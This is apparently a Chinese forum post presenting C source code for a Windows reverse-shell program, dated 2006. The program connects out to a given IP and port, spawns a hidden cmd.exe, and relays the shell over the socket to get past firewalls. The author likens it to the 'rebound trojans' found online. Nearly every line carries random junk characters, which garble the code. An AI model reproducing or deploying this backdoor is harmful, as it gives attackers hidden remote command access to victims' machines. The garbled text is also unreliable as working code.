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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1hbQ30  
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/* ============================== h,[L6-n  
Rebound port in Windows NT z%}"=  
By wind,2006/7 |!oC7!+0^  
===============================*/ PMQTcQ^  
#include a~KtH;7<  
#include IADSWzQ@  
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#pragma comment(lib,"wsock32.lib") 8@3=SO  
> ?+Rtg|${  
void OutputShell(); i4YskhT  
SOCKET sClient; h7]+#U]mi  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 49"C'n0wST  
~}OaX+!  
void main(int argc,char **argv) W6?=9].gc  
{ |gkNhxzB  
WSADATA stWsaData; <:-4GJH=  
int nRet; zC*FeqFL<  
SOCKADDR_IN stSaiClient,stSaiServer; =eA|gt  
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if(argc != 3) UP#@gxF  
{ *zRig|k!H  
printf("Useage:\n\rRebound DestIP DestPort\n"); shw?_#?1dy  
return; ^!tX+`,6^  
} T"\d,ug5[  
N[@~q~v  
WSAStartup(MAKEWORD(2,2),&stWsaData); *)[fGxz \  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w5Fk#zJv  
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stSaiClient.sin_family = AF_INET; ;(K/O?nrJ  
stSaiClient.sin_port = htons(0); \J:+Wl.9A  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); smCACQ$ (  
gj;gl ="3  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) f@sC~A. 9\  
{ mxqZj8VuH  
printf("Bind Socket Failed!\n"); Gza= 0  
return; R&1>\t  
} _;}$/  
} W]A`-Jv  
stSaiServer.sin_family = AF_INET; zFOtOz`9H  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >s%Db<(P=  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fBX@ MedC  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a;$V;3C{b&  
{ 2IJniS=[>  
printf("Connect Error!"); X au %v5r  
return; 1n8y4k)  
} Q`i@['?p  
OutputShell(); A^lm0[3q  
} 9>{ml&$  
@+;.W>^h  
void OutputShell() .i\ FK@2  
{ ;)ay uS sQ  
char szBuff[1024]; H[w';u[%  
SECURITY_ATTRIBUTES stSecurityAttributes; dpz@T>MS=  
OSVERSIONINFO stOsversionInfo; ?z&n I#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; shB3[W{}!)  
STARTUPINFO stStartupInfo; jl59;.P  
char *szShell; e# Y{YtE  
PROCESS_INFORMATION stProcessInformation; (6c/)MH  
unsigned long lBytesRead; 3ZT3I1/D  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); e&ti(Q=  
Ft;x@!h%  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |HAbZd7PG  
stSecurityAttributes.lpSecurityDescriptor = 0; o4: e1  
stSecurityAttributes.bInheritHandle = TRUE; (tO4UI5!  
?u CL[  
9T;>gm  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \<I&utn  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 86LE )z  
 U :x;4  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ( x% 4*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AQ FnS&Y  
stStartupInfo.wShowWindow = SW_HIDE; b~ )@e9  
stStartupInfo.hStdInput = hReadPipe; "} :CM_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WBKf)A^S  
S9DXd]6q_  
GetVersionEx(&stOsversionInfo); ;/NC[:'$D  
a /]FlT  
switch(stOsversionInfo.dwPlatformId) I_#5gq  
{ xd `MEOY  
case 1: 3'p 1m`8  
szShell = "command.com"; 3LyNi$`f  
break; wMgF*  
default: h@JX?LzZS  
szShell = "cmd.exe"; N_Ezp68Fp  
break; 7r:&%?2:g  
} |FFz $'8)  
BN(=LQ2["  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1z|bQ,5  
xA^E+f:W_  
send(sClient,szMsg,77,0); lpPPI+|4N  
while(1)  G>?kskm  
{ V~jp  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); , XscO7  
if(lBytesRead) N, u]2,E  
{ {oOUIP  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $+2QbEk&-  
send(sClient,szBuff,lBytesRead,0); >/RFff]Fh0  
} E el*P M  
else M8:i]   
{ D,*|:i  
lBytesRead=recv(sClient,szBuff,1024,0); [$K8y&\L  
if(lBytesRead<=0) break; =x?WZMO  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hrJ(][8  
} Yt=)=n  
} Bi9Q8#lh  
ObZhQ.&  
return; RFsUb:%V7-  
}
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